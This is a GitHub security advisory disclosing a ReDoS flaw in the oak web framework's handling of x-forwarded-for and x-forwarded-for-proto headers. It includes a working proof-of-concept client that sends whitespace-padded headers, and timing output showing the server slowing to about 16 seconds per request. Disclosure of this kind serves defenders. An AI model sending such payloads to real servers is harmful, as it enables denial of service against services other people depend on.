GHSA-r3v7-pc4g-7xp9
Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers
Details
### Summary
With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.
### Vulnerable Code
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
### PoC
- setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ```
- `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; });
await app.listen({ port: 8080 }); ```
- `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) { for (let i = 0; i < data.length; i++) { let d = data[i]; const start = performance.now();
await fetch("http://localhost:8080", { headers: { // "x-forwarded-proto": d, // test1) "x-forwarded-for": d, // test2) }, });
const end = performance.now(); console.log('length=%d, time=%d ms', d.length, end - start); } }
console.log("\n[+] Test normal behavior") await run(data1) console.log("\n[+] Test payloads") await run(data2) ```
- run ``` deno run --allow-net server.ts deno run --allow-net client.ts
[+] Test normal behavior length=2002, time=14 ms length=4002, time=6 ms length=8002, time=3 ms length=16002, time=3 ms length=32002, time=2 ms length=64002, time=4 ms length=128002, time=3 ms
[+] Test payloads length=2002, time=7 ms length=4002, time=22 ms length=8002, time=77 ms length=16002, time=241 ms length=32002, time=947 ms length=64002, time=4020 ms length=128002, time=15840 ms ```
### Impact
A specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers can be used to significantly slow down an oak server.
### Similar Issues
- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6 - https://github.com/denoland/deno/pull/17722 - https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693 - https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
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References
- https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-55152[ADVISORY]
- https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44[WEB]
- https://github.com/oakserver/oak[PACKAGE]
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142[WEB]
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87[WEB]